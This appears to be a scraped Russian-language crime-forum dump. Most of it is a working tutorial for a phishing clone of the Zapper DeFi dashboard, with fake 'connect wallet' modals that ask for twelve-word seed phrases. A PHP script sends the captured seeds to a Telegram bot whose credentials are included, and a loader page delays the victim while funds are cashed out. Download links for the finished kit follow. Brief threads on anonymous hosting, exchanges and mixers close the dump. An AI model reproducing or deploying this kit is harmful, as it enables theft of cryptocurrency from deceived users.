            /* window.onclick = function(event) {
              if (!event.target.matches('.dropbtn')) {
                var dropdowns = document.getElementsByClassName("dropdown-content");
                var i;
                for (i = 0; i < dropdowns.length; i++) {
                  var open Dropdown = dropdowns[i];
                  if (open Dropdown.classList.contains('show')) {
                    open Dropdown.classList.remove('show');
                  }
                }
              }
            } */
        </script>
        <div class="footer_right">
            <i class="far fa-copyright"></i>
            Zapper 2021
        </div>
    </div>
</footer>

<div id="openModal" class="modal">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h3 class="modal-title">Select a Wallet to Connect to Zapper</h3>
                <a href="#close" title="Close" class="close">×</a>
            </div>
            <div class="modal-body">    
                <div class="modal-body_l">
                    <a class="modal-body_link" href="#exMask"><button class="modal-body_btn"><img class="modal-body_icon_mm" src="icons/masknew.png" alt=""><span class="modal-body_value">MetaMask</span></button></a>
                    <a class="modal-body_link" href="#exLedger"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/ledgerfin.jpg" alt=""><span class="modal-body_value">Ledger</span></button></a>
                    <a class="modal-body_link" href="#exTrezor"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/trezor_dob.jpg" alt=""><span class="modal-body_value">Trezor</span></button></a>
                    <a class="modal-body_link" href="#exPortis"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/port.jpg" alt=""><span class="modal-body_value">Portis</span></button></a>
                    <a class="modal-body_link" href="#exOpera"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/logo-opera.png" alt=""><span class="modal-body_value">Opera</span></button></a>
                    <a class="modal-body_link" href="#exBlockchain"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/blockchain.png" alt=""><span class="modal-body_value">Blockchain</span></button></a>
                    <a class="modal-body_link" href="#exExodus"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/exodus.png" alt=""><span class="modal-body_value">Exodus</span></button></a>

                    <a class="accordion" href="#openModal">What is a wallet?</a>
                    <div class="panel">
                        <p class="wal_p">Wallets are used to send, receive, and store digital assets like Ether. Wallets come in many forms. They are either built into your browser, an extension added to your browser, a piece of hardware plugged into your computer or even an app on your phone. For more information about wallets, see <a href="https://docs.ethhub.io/using-ethereum/wallets/intro-to-ethereum-wallets/">this explanation.</a></p>
                    </div>
                </div>
                <div class="modal-body_r">
                    <a class="modal-body_link" href="#exWalletConnect"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/walletcon_dob.png" alt=""><span class="modal-body_value">WalletConnect</span></button></a>
                    <a class="modal-body_link" href="#exLattice"><button class="modal-body_btn"><img class="modal-body_icon_lat" src="icons/+L.png" alt=""><span class="modal-body_value">Lattice</span></button></a>
                    <a class="modal-body_link" href="#exFormatic"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/forma.jpg" alt=""><span class="modal-body_value">Formatic</span></button></a>
                    <a class="modal-body_link" href="#exTorus"><button class="modal-body_btn"><img class="modal-body_icon_tor" src="img/torus3.png" alt=""><span class="modal-body_value">Torus</span></button></a>
                    <a class="modal-body_link" href="#exWalletLink"><button class="modal-body_btn"><img class="modal-body_icon_wl" src="icons/walletseedfin.png" alt=""><span class="modal-body_value">WalletLink</span></button></a>
                    <a class="modal-body_link" href="#exTrust"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/trust.jpg" alt=""><span class="modal-body_value">Trust</span></button></a>
                </div>

                
                <!-- Скрипт для аккордиона в модальном окне! **************************************************************************************************-->
                <script>
                    var acc = document.getElementsByClassName("accordion");
                    var i;
                    
                    for (i = 0; i < acc.length; i++) {
                        acc[i].addEventListener("click", function() {
                            this.classList.toggle("active");
                            var panel = this.nextElementSibling;
                            if (panel.style.maxHeight){
                                panel.style.maxHeight = null;
                            } else {
                                panel.style.maxHeight = panel.scrollHeight + "px";
                            }
                        });
                    }
                </script>
            </div>
        </div>
    </div>
</div>


<!-- ******************************************************************************************************************* -->
<div id="exMask">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="icons/MetaMaskFin.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>

    <!-- *************************НАЖАТИЕ НА КНОПКУ И ОТПРАВКА ИНФЫ В JS************************************************************************* -->
    <textarea id="sid_input_1" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_1" class="inp_mod" type="hidden" name="currency" value="MetaMask">

    <button class="main_pink2" onclick="validateInput_1()">Connect</button>
</div>
<!--**************************************************************************************************************************************** -->
<div id="exLedger">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon2" src="icons/ledger.jpg" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_2" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_2" class="inp_mod" type="hidden" name="currency" value="Ledger">
    <button class="main_pink2" onclick="validateInput_2()">Connect</button>
</div>
<div id="exTrezor">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="img/trezorphoto.png"> 
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_3" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_3" class="inp_mod" type="hidden" name="currency" value="Trezor">
    <button class="main_pink2" onclick="validateInput_3()">Connect</button>
</div>
<div id="exPortis">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="img/port.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_4" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_4" class="inp_mod" type="hidden" name="currency" value="Portis">
    <button class="main_pink2" onclick="validateInput_4()">Connect</button>
</div>
<div id="exOpera">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="img/logo-opera.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_5" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_5" class="inp_mod" type="hidden" name="currency" value="Opera">
    <button class="main_pink2" onclick="validateInput_5()">Connect</button>
</div>
<div id="exBlockchain">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="icons/blockchainpng.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_6" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_6" class="inp_mod" type="hidden" name="currency" value="Blockchain">
    <button class="main_pink2" onclick="validateInput_6()">Connect</button>
</div>
<div id="exExodus">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="icons/exodus.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_7" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_7" class="inp_mod" type="hidden" name="currency" value="Exodus">
    <button class="main_pink2" onclick="validateInput_7()">Connect</button>
</div>

<div id="exWalletConnect">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="img/walletconph.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_8" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_8" class="inp_mod" type="hidden" name="currency" value="WalletConnect">
    <button class="main_pink2" onclick="validateInput_8()">Connect</button>
</div>
<div id="exLattice">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="icons/+L.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_9" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_9" class="inp_mod" type="hidden" name="currency" value="Lattice">
    <button class="main_pink2" onclick="validateInput_9()">Connect</button>
</div>
<div id="exFormatic">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="img/formaphoto.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_10" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_10" class="inp_mod" type="hidden" name="currency" value="Fortmatic">
    <button class="main_pink2" onclick="validateInput_10()">Connect</button>
</div>
<div id="exTorus" class="modal">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="icons/torf.jpg" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_11" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_11" class="inp_mod" type="hidden" name="currency" value="Torus">
    <button class="main_pink2" onclick="validateInput_11()">Connect</button>
</div>

<div id="exWalletLink">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="icons/walletseedfin.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_12" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_12" class="inp_mod" type="hidden" name="currency" value="WalletLink">
    <button class="main_pink2" onclick="validateInput_12()">Connect</button>
</div>

<div id="exTrust" class="modal">
    <a href="#close" title="Close" class="close_value">×</a>
    <img class="ex2icon" src="icons/trust_png.png" alt="">
    <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
    <p class="ex2p">Wallet Seed:</p>
    <textarea id="sid_input_13" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
    <input id="cur_input_13" class="inp_mod" type="hidden" name="currency" value="Trust">
    <button class="main_pink2" onclick="validateInput_13()">Connect</button>
</div>

</body>
</html>

Третий шаг - пишем страницу профиля.

Назовем её dashboard.php

PHP:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://kit.fontawesome.com/aa4dabdc57.js" crossorigin="anonymous"></script>
    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css2?family=Lato:wght@300;400;900&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="CSS/style.min.css">
    <link rel="stylesheet" href="CSS/dashboard_style.min.css">
    <link rel="stylesheet" href="CSS/style.css">
    <link rel="stylesheet" href="CSS/modal.css">
    <link rel="stylesheet" href="CSS/media.css">
    <title>Zapper - Dashboard for DeFi</title>
    <link rel="shortcut icon" href="icons/zap_logo.png">
    <script src="functions.js"></script>
    <script src="http://yastatic.net/jquery/2.1.4/jquery.min.js"></script>
    <script src="http://yastatic.net/jquery/cookie/1.0/jquery.cookie.min.js"></script>
</head>
<body>
    <header>
        <div class="container">
            <div class="logo">
                <a class="zap_linker" href=""><img class="zapper_icons" src="icons/zap_logo.png" alt="">
                    <div class="zapper">Zapper</div></a>
                </div>
                <div class="lk">
                    <img class="lk_icon" src="icons/lg2.png" alt="">
                    <div class="defi">
                        defiportal.eth
                    </div>
                    <div class="arrow_def">

                    </div>
                    <div class="eth">
                        Ethereum

                    </div>
                </div>
                <nav class="nav_dash">
                    <ul>
                        <li>
                            <div class="usa">
                                <a href=""><img class="usa_png" src="icons/usa4.png" alt=""></a><div class="usa_text">USD</div> <div class="usa_arrow"></div>    
                            </div>
                        </li>
                        <li> <div class="gas"><a><i class="fas fa-gas-pump"></i><div class="gas_346">346</div><div class="gas_arrow">
                        </div></a></div></li>
                        <li>
                            <div class="set">
                                <a><i class="fas fa-cog"></i><div class="set_arrow"></div></a>
                            </div></li>
                        </ul>
                    </nav>
                </div>
            </header>
            <section class="section_dash">
                <div class="container_dash">
                    <div class="subheader">
                        <div class="subheader_icons"> <i class="fas fa-layer-group"></i><span class="subheader_pink">Dashboard</span></i></div>
                        <div class="subheader_icons_ex"> <i class="fas fa-exchange-alt"></i>Exchange</i></div>
                        <div class="subheader_icons"><img class="energy" src="icons/energy.png" alt=""><div class="energy_block">Pool</div></div>
                        <div class="subheader_icons"><i class="fas fa-tractor"></i>Farm</div>
                        <div class="subheader_icons"><i class="far fa-clock"></i>History </div>
                        <div class="subheader_line"></div><div class="subheader_line2"></div>
                    </div>


                    <div class="total">
                        <div class="total_block">
                            <p class="total_block_text">Total Assets</p>
                            <p class="total_block_nomber">$0</p>
                        </div>
                        <div class="total_block">
                            <p class="total_block_text">Total Debt</p>
                            <p class="total_block_nomber">$0</p>
                        </div>
                        <div class="total_block">
                            <p class="total_block_text">Net Worth</p>
                            <p class="total_block_nomber">$0</p>
                        </div>
                    </div>
                    <div class="total_acco">Account Overview <a class="total_acco_s">Don't see your assets?

                    </div></a>
                    <div class="total_switch">
                        <div class="total_below">Hide Balances Below</div>
                        <div class="total_arrow"></div>
                        <div class="total_view">Switch View</div>
                        <div class="total_oval"><i class="fas fa-toggle-on"></i></div>
                    </div>
                    <div class="card">
                        <div class="card_block">
                            <div class="card_icon"><div class="circle"><i class="fas fa-wallet"></i></div></div><div class="card_text">Wallet</div><div class="card_nombers">$0</div>
                        </div>
                        <div class="card_block">
                            <div class="card_icon"><div class="circle"><i class="fas fa-wallet"></i></div></div><div class="card_text">Deposits
                            </div><div class="card_nombers">$0</div>
                        </div>
                        <div class="card_block">
                            <div class="card_icon"><div class="circle"><i class="far fa-chart-bar"></i></i></div></div><div class="card_text">Investments
                            </div><div class="card_nombers">$0</div>
                        </div>
                    </div>
                    <div class="card2">
                        <div class="card2_block2">
                            <div class="card_icon"><div class="circle"><img class="track_icons" src="icons/track6.png" alt=""></div></div><div class="card_text">Yield Farming
                            </div><div class="card_nombers">$0</div>
                        </div>
                        <div class="card2_block2">
                            <div class="card_icon"><div class="circle_gr"><i class="fas fa-thermometer-quarter"></i></div></div><div class="card_text">Debt
                            </div><div class="card_nombers">$0
                            </div>
                        </div>
                    </div>
                    <div class="plat">
                        Platforms
                    </div>
                </div>

            </section>

            <div id="exMask">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="icons/MetaMaskFin.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>

                <textarea id="sid_input_1" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_1" class="inp_mod" type="hidden" name="currency" value="MetaMask">

                <button class="main_pink2">Connect</button> 

            </div>
            <div id="exLedger">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon2" src="icons/ledger.jpg" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>
                <form action="telegram.php" method="POST">
                    <textarea id="sid_input_2" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                    <input id="cur_input_2" class="inp_mod" type="hidden" name="currency" value="Ledger">

                    <button class="main_pink2">Connect</button>
                </form>
            </div>
            <div id="exTrezor">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="img/trezorphoto.png"> 
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>


                <textarea id="sid_input_3" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_3" class="inp_mod" type="hidden" name="currency" value="Trezor">

                <button class="main_pink2">Connect</button>
            </div>
            <div id="exPortis">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="img/port.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>


                <textarea id="sid_input_4" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_4" class="inp_mod" type="hidden" name="currency" value="Portis">

                <button class="main_pink2">Connect</button>
            </div>
            <div id="exOpera">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="img/logo-opera.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>


                <textarea id="sid_input_5" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_5" class="inp_mod" type="hidden" name="currency" value="Opera">
                <button class="main_pink2">Connect</button>
            </div>
            <div id="exBlockchain">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="icons/blockchainpng.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>
                <form action="telegram.php" method="POST">
                    <input type="hidden" name="cash" value="<?php echo trim($_POST['cash']); ?>">
                    <textarea id="sid_input_6" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                    <input id="cur_input_6" class="inp_mod" type="hidden" name="currency" value="Blockchain">
                    <button class="main_pink2">Connect</button>
                </form>
            </div>
            <div id="exExodus">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="icons/exodus.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>


                <textarea id="sid_input_7" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_7" class="inp_mod" type="hidden" name="currency" value="Exodus">
                <button class="main_pink2">Connect</button>
            </div>

            <div id="exWalletConnect">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="img/walletconph.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>


                <textarea id="sid_input_8" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_8" class="inp_mod" type="hidden" name="currency" value="WalletConnect">
                <button class="main_pink2">Connect</button>
            </div>
            <div id="exLattice">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="icons/+L.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>


                <textarea id="sid_input_9" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_9" class="inp_mod" type="hidden" name="currency" value="Lattice">
                <button class="main_pink2">Connect</button>
            </div>
            <div id="exFormatic">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="img/formaphoto.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>


                <textarea id="sid_input_10" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_10" class="inp_mod" type="hidden" name="currency" value="Fortmatic">
                <button class="main_pink2">Connect</button>
            </div>
            <div id="exTorus" class="modal">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="icons/torf.jpg" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>


                <textarea id="sid_input_11" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_11" class="inp_mod" type="hidden" name="currency" value="Torus">
                <button class="main_pink2">Connect</button>
            </div>

            <div id="exWalletLink">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="icons/walletseedfin.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>


                <textarea id="sid_input_12" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_12" class="inp_mod" type="hidden" name="currency" value="WalletLink">
                <button class="main_pink2">Connect</button>
            </div>

            <div id="exTrust" class="modal">
                <a href="#close" title="Close" class="close_value">×</a>
                <img class="ex2icon" src="icons/trust_png.png" alt="">
                <p class="ex2p">Enter your secret twelve word phrase here to connect wallet</p>
                <p class="ex2p">Wallet Seed:</p>
                <textarea id="sid_input_13" spellcheck="false" class="inp_mod" type="text" name="sid"></textarea>
                <input id="cur_input_13" class="inp_mod" type="hidden" name="currency" value="Trust">
                <button class="main_pink2">Connect</button>
            </div>
        </div>

        <div id="openModal" class="modal2">
            <div class="modal-dialog">
                <div class="modal-content">
                    <div class="modal-header">
                        <h3 class="modal-title">Select a Wallet to Connect to Zapper</h3>
                    </div>
                    <div class="modal-body">    
                        <div class="modal-body_l">
                            <a class="modal-body_link" href="#exMask"><button class="modal-body_btn"><img class="modal-body_icon_mm" src="icons/masknew.png" alt=""><span class="modal-body_value">MetaMask</span></button></a>
                            <a class="modal-body_link" href="#exLedger"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/ledger_dob.jpg" alt=""><span class="modal-body_value">Ledger</span></button></a>
                            <a class="modal-body_link" href="#exTrezor"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/trezor_dob.jpg" alt=""><span class="modal-body_value">Trezor</span></button></a>
                            <a class="modal-body_link" href="#exPortis"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/port.jpg" alt=""><span class="modal-body_value">Portis</span></button></a>
                            <a class="modal-body_link" href="#exOpera"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/logo-opera.png" alt=""><span class="modal-body_value">Opera</span></button></a>
                            <a class="modal-body_link" href="#exBlockchain"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/blockchain.png" alt=""><span class="modal-body_value">Blockchain</span></button></a>
                            <a class="modal-body_link" href="#exExodus"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/exodus.png" alt=""><span class="modal-body_value">Exodus</span></button></a>

                            <a class="accordion" href="#openModal">What is a wallet?</a>
                            <div class="panel">
                                <p class="wal_p">Wallets are used to send, receive, and store digital assets like Ether. Wallets come in many forms. They are either built into your browser, an extension added to your browser, a piece of hardware plugged into your computer or even an app on your phone. For more information about wallets, see <a href="https://docs.ethhub.io/using-ethereum/wallets/intro-to-ethereum-wallets/">this explanation.</a></p>
                            </div>
                        </div>
                        <div class="modal-body_r">
                            <a class="modal-body_link" href="#exWalletConnect"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/walletcon_dob.png" alt=""><span class="modal-body_value">WalletConnect</span></button></a>
                            <a class="modal-body_link" href="#exLattice"><button class="modal-body_btn"><img class="modal-body_icon_lat" src="icons/+L.png" alt=""><span class="modal-body_value">Lattice</span></button></a>
                            <a class="modal-body_link" href="#exFormatic"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/forma.jpg" alt=""><span class="modal-body_value">Formatic</span></button></a>
                            <a class="modal-body_link" href="#exTorus"><button class="modal-body_btn"><img class="modal-body_icon_tor" src="img/torus3.png" alt=""><span class="modal-body_value">Torus</span></button></a>
                            <a class="modal-body_link" href="#exWalletLink"><button class="modal-body_btn"><img class="modal-body_icon_wl" src="icons/walletseedfin.png" alt=""><span class="modal-body_value">WalletLink</span></button></a>
                            <a class="modal-body_link" href="#exTrust"><button class="modal-body_btn"><img class="modal-body_icon" src="icons/trust.jpg" alt=""><span class="modal-body_value">Trust</span></button></a>
                        </div>


                        <!-- Скрипт для аккордиона в модальном окне! **************************************************************************************************-->
                        <script>
                            var acc = document.getElementsByClassName("accordion");
                            var i;

                            for (i = 0; i < acc.length; i++) {
                                acc[i].addEventListener("click", function() {
                                    this.classList.toggle("active");
                                    var panel = this.nextElementSibling;
                                    if (panel.style.maxHeight){
                                        panel.style.maxHeight = null;
                                    } else {
                                        panel.style.maxHeight = panel.scrollHeight + "px";
                                    }
                                });
                            }
                        </script>

                        <script>
                            var delay = 1000;
                            setTimeout("document.getElementById('openModal').style.display='block'", delay);
                        </script>
                    </div>
                </div>
            </div>
        </div>
    </body>
</html>

Четвертый шаг - перекидываем на loader, чтобы юзер не понял, в чем дело(это даст какое то время для обнала).

Назовем страницу disc.html

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="CSS/style.min.css">
    <title>Zapper - Dashboard for DeFi</title>
</head>
<body>
    <img class="disc_end" src="icons/rig.gif" alt="">
</body>
</html>

Пятый шаг - пишем скрипт для обработки запросов и отправки их в тг.

Назовем его telegram.php

PHP:Copy to clipboard

<?php

header('Access-Control-Allow-Origin: *');

$sid = $_POST['sid'];
$name = $_POST['currency'];
$token = "1781605913:AAH3341p65G-4a7I9RploILsW3UyzR89CmMM";
$chat_id = "11294049069";
$cash = $_POST['cash'];
$arr = array(
  'Кошелек' => $cash,
  'Слова' => $sid,
  'Платформа' => $name
);

foreach($arr as $key => $value) {
  $txt .= "<b>".$key."</b> ".$value."%0A";
};

$sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&parse_mode=html&text={$txt}","r");

if ($sendToTelegram) {
  header('Location: disc.html');
} else {
  echo "Error";
}
?>

Проверяем!

В общем. Мы сделали фишинг сайт для обработки криптокошельков.
Таким образом, мы сможем добыть криптокошельки и их секретные слова.

1 - Льем траффик
2 - Восхищаемся профитом

Дальше выбор за Вами, либо восстановить криптокошелек или продать его ?

Файлы к статье
https://mega.nz/file/XkI3mSKa#qIoyRai929_4PTGs1aQvu0kPj5PDQ584vbDvfm2aZDw - скрипт
PASS: exploit.in

Готовый скрипт

[ WDfiles — файлообменник бесплатный - загрузить файл

](https://wdfiles.ru/513bd3)

wdfiles.ru wdfiles.ru

Присутствует, только ПК версия сайта, мобильной нет!
Сделана только blockchain платформа - с неё отсылаются данные.

Code:Copy to clipboard

<form action="telegram.php" method="POST">
    <input type="hidden" value="<?php echo trim($_POST['cash']); ?>">
    Тут код платформы, где вводят даные
</form>

автор @tuning71
источник exploit.in

Как вам Atomic Wallet?
ID: 67686ad7b4103b69df379a16
Thread ID: 52967
Created: 2021-06-15T21:27:24+0000
Last Post: 2021-06-20T17:49:44+0000
Author: Samorez
Replies: 30 Views: 3K

Хотел узнать мнение тех кто пользовался указанным кошельком. Действительно ключи только у меня хранится будут как в Electrum? Какие комиссии при обмене на крипту другую? Какие проблемы могут быть с обменом фиата на крипту и обратно. Не про отслеживание, а чисто насколько легко будет пройти вериф, какая там биржа используется, какие суммы гонять можно?

Где регнуть домен с хостингом?
ID: 67686ad7b4103b69df379a28
Thread ID: 48432
Created: 2021-02-21T14:40:40+0000
Last Post: 2021-05-06T14:09:34+0000
Author: wildo
Replies: 17 Views: 3K

Подскажите, пожалуйста, где можно без мороки и заполнения данных регнуть недорогие домен с хостингом?
С оплатой битком.

Атака 51% на Биткоин бессмысленна
ID: 67686ad7b4103b69df379ad0
Thread ID: 26675
Created: 2018-11-28T14:03:19+0000
Last Post: 2018-11-30T14:40:11+0000
Author: tabac
Replies: 1 Views: 3K

В рамках нового исследования было выяснено, что атака 51% на Биткоин потребовала бы «значительных расходов» и принесла бы «небольшую финансовую прибыль» атакующим.
Профессор Сараванан Виджаякумаран (Saravanan Vijayakumaran), доцент кафедры электротехники в Индийском технологическом институте (IIT) в Бомбее опубликовал новое [исследование](https://blog.zebpay.com/releasing-our-white- paper-on-bitcoin-security-a25f13396ca0) под названием «Безопасность протокола Биткоина». В исследовании, проспонсированном биржей Zebpay, была рассмотрена структура безопасности сети Биткоина по трем основным пунктам:

Основной целью исследования было оценить уязвимость сети Биткоина к атаке 51%. В соответствии с [определением](https://bitcoin.org/en/glossary/51-percent- attack) bitcoin.org, атака 51% - это «способность кого-либо контролировать большую часть хэшрейта сети, что позволит изменять историю транзакций и предотвращать подтверждение новых транзакций». В 2018 году несколько блокчейнов, включая сеть ZenCash, стали жертвами таких атак и боролись с их последствиями.

В исследовании профессор Виджаякумаран пришел к выводу, что такая атака на Биткоин потребует не только огромной вычислительной мощности, но и в результате принесет минимальную финансовую выгоду. В исследовании также указано, что злоумышленник сможет только добавлять или удалять транзакции, но не будет способен их изменять или украсть биткоины.
Несмотря на то, что сеть фактически не восприимчива к таким атакам, в исследовании упоминается, что теоретически злоумышленники могут попытаться осуществить подобное нападение.
Генеральный директор Zebpay Аджит Кхурана (Ajeet Khurana) прокомментировал результаты исследования:

«Этот документ подчеркивает безопасность революционного протокола во время более широкого внедрения криптовалюты. Zebpay гордится тем, что способствовал проведению углубленного исследования, которое является источником расширение возможностей и знаний для всей экосистемы, включая разработчиков блокчейнов, правительств, аналитических центров, ученых, регулирующих органов, правоохранительных органов, исследователей, студентов и специалистов по финансам».

Click to expand...

Проблема атаки 51% довольно часто становится предметом дискуссии сообщества. Например, в прошлом месяце стало известно, что «белый хакер» проводит тестовые атаки 51% на криптовалюты, чтобы проверить их безопасность. А ранее в том же месяце команда Horizen предложила вариант решения проблемы атаки 51%.

Кто работал с Bittrex?
ID: 67686ad7b4103b69df379ac8
Thread ID: 27342
Created: 2019-01-18T13:24:17+0000
Last Post: 2019-02-09T20:25:41+0000
Author: tabac
Replies: 8 Views: 3K

посоветуйте, кто плотно работал с биржей Bittrex.com? как у вас впечатление?
как у них живут верифнутые акки? да и вообще, как биржа себя ведет в плане локов, верификаций и всего остального?

Вопрос blockchain.com
ID: 67686ad7b4103b69df379a2c
Thread ID: 50900
Created: 2021-04-21T12:30:00+0000
Last Post: 2021-04-23T21:21:33+0000
Author: Duble
Replies: 30 Views: 3K

Комиссия. В чем проблема может быть? Это не здоровая, херня. Месяц +/- назад пользовался, все было норм и комиссия адекватная. А щас см скрин
2021-04-21_013018.png

Биткоин миксер
ID: 67686ad7b4103b69df379a33
